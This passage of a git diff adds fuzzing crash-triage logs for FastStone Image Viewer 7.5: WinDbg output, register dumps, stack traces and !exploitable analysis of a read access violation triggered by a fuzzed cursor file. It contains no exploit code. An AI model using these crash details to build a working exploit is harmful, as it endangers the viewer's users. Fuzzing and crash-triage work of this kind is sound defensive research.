image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021b000 96b0df34 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..ea487a3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74a58000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74a22000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a60000 00000000`74bfa000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1364.aec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0007ed2d ecx=07ee7b10 edx=00003879 esi=ffcb0010 edi=0fbc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.104984000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.197073 -9.5513e-009 -3.51859e+032 2.55179e+030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021b000 96b0df34 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a826fe3 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/45480/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..138713c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..6f7fa56 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1534: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1534: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1534.1f88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07eb7b10 edx=00003879 esi=12768f40 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 